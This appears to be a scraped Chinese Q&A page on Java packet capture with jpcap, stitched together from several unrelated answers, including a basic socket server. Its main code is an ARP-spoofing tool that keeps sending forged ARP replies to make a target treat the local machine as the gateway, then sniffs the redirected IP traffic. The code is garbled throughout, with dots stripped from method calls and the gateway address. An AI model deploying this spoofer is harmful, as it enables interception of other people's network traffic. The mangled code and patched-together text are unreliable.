
( 1) 捕获原始数据报, 包括共享网络上各主机发送/ 接收的以及相互之间交换的数据报;
( 2) 在数据报发往应用程序之前, 按照自定义的规则将某些特殊的数据报过滤掉;
( 3) 在网络上发送原始的数据报;
( 4) 收集网络通信过程中的统计信息。
用JAVA抓包何不用JPCAP呢
JPCAP:>
public class LocalListener {
private final static String GATE_IP = "192168111";
private final static byte[] GATE_MAC = {0x00, 0, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};
private JpcapCaptor jpcap; //与设备的连接
private JpcapSender sender; //用于发送的实例
private Packet replyPacket; //ARP reply包
private NetworkInterface device; //当前机器网卡设备
private IpMacMap targetIpMacMap; //目的地IP MAC对
public LocalListener(IpMacMap target) throws Exception {
NetworkInterface[] devices = JpcapCaptorgetDeviceList(); device = devices[1];
thistargetIpMacMap = target;
initSender();
initPacket();
}
private void initSender() throws Exception {
jpcap = JpcapCaptoropenDevice(device, 2000, false, 10000); //打开与设备的连接
jpcapsetFilter("ip", true); //只监听ip数据包
sender = jpcapgetJpcapSenderInstance();
}
private void initPacket() throws Exception {
//reply包的源IP和MAC地址,此IP-MAC对将会被映射到ARP表
IpMacMap targetsSd = new IpMacMap(GATE_IP, devicemac_address);
//创建修改目标机器ARP的包
replyPacket = ARPPacketGerngenPacket(targetIpMacMap, targetsSd);
//创建以太网头信息,并打包进reply包
replyPacketdatalink = EthernetPacketGerngenPacket(targetIpMacMapgetMac(),
devicemac_address);
}
public void listen() throws InterruptedException{
Thread t = new Thread(new Runnable() {
public void run() {
//发送reply封包,修改目的地arp表, arp表会在一段时间内被更新,所以需要不停发送
while(true){
send();
try {
Threadsleep(500);
} catch (InterruptedException ex) {
LoggergetLogger(LocalListenerclassgetName())log(LevelSEVERE, null, ex);
}
}
}
});
tstart();
//截获当前网络设备的封包收发信息
while(true){
IPPacket ipPacket = (IPPacket)jpcapgetPacket();
Systemoutprintln(ipPacket);
}
}}
//IP-MAC实体,只用于保存一对IP-MAC地址
public class IpMacMap {
private String ip;
private byte[] mac;
public IpMacMap(){
}
public IpMacMap(String ip, byte[] mac){
thisip = ip;
thismac = mac;
}
public String getIp() {
return ip;
}
public void setIp(String ip) {
thisip = ip;
}
public byte[] getMac() {
return mac;
}
public void setMac(byte[] mac) {
thismac = mac;
}
}
//ARP reply包生成类,用于根据目的地址和源地址生成reply包
public class ARPPacketGern{
public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
ARPPacket arpTarget = new ARPPacket();
arpTargethardtype = ARPPacketHARDTYPE_ETHER; //选择以太网类型(Ethernet)
arpTargetprototype = ARPPacketPROTOTYPE_IP; //选择IP网络协议类型
arpTargetoperation = ARPPacketARP_REPLY; //选择REPLY类型
arpTargethlen = 6; //MAC地址长度固定6个字节
arpTargetplen = 4; //IP地址长度固定4个字节
arpTargettarget_hardaddr = targetgetMac();
arpTargettarget_protoaddr = InetAddressgetByName(targetgetIp())getAddress();
arpTargetsender_hardaddr = sendergetMac();
arpTargetsender_protoaddr = InetAddressgetByName(sendergetIp())getAddress();
return arpTarget;
}
}
//根据目的地MAC和源MAC构建以太网头信息,用于传输数据
public class EthernetPacketGern{
public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头
ethToTargetframetype = EthernetPacketETHERTYPE_ARP; //选择以太包类型
ethToTargetdst_mac = targetMac;
ethToTargetsrc_mac = senderMac;
return ethToTarget;
}
}
public class Server {
public static void main(String args[]) throws IOException {
//为了简单起见,所有的异常信息都往外抛
int port = 8899;
//定义一个ServerSocket监听在端口8899上
ServerSocket server = new ServerSocket(port);
//server尝试接收其他Socket的连接请求,server的accept方法是阻塞式的
Socket socket = serveraccept();
//跟客户端建立好连接之后,我们就可以获取socket的InputStream,并从中读取客户端发过来的信息了。
Reader reader = new InputStreamReader(socketgetInputStream());
char chars[] = new char[64];
int len;
StringBuilder sb = new StringBuilder();
while ((len=readerread(chars)) != -1) {
sbappend(new String(chars, 0, len));
}
Systemoutprintln("from client: " + sb);
readerclose();
socketclose();
serverclose();
}
}
服务端从Socket的InputStream中读取数据的 *** 作也是阻塞式的,如果从输入流中没有读取到数据程序会一直在那里不动,直到客户端往Socket的输出流中写入了数据,或关闭了Socket的输出流。当然,对于客户端的Socket也是同样如此。在 *** 作完以后,整个程序结束前记得关闭对应的资源,即关闭对应的IO流和Socket。
java好像没有这么底层的功能。
这么底层的功能应该是winpcap一类的驱动程序提供的。
截取网络数据包应该是稍微低级一点语言的事情,像是c++、c语言一类的,这类语言更适合编写协议分析器。而且winpcap直接就已经提供了一个h的头文件用来编写这类程序。
不过我记得有一个叫jpcap的东东,就是java使用的网络数据包工具,>
当然可以,可以采用jni的方式,调用 *** 作系统函数对网络IO进行监控。hyperic-sigar这个开源的项目提供对多种平台的兼容。它的原理也是采用jni的方式,调用不同平台的系统指令,对系统的各项数据进行采集:磁盘IO、网络IO、CPU、内存等,数据采集到了,使用java swing将数据展现出来就行了。
以上就是关于统计TCP流量,jpcap抓包时,通过loopPacket()方法,笔记本的有限网卡抓不包,而无线网可以,这是为什么全部的内容,包括:统计TCP流量,jpcap抓包时,通过loopPacket()方法,笔记本的有限网卡抓不包,而无线网可以,这是为什么、求一个用java编写的能读取 .cap文件的类、JAVA程序获取封包IP,求帮忙写个程序分析封包IP。等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)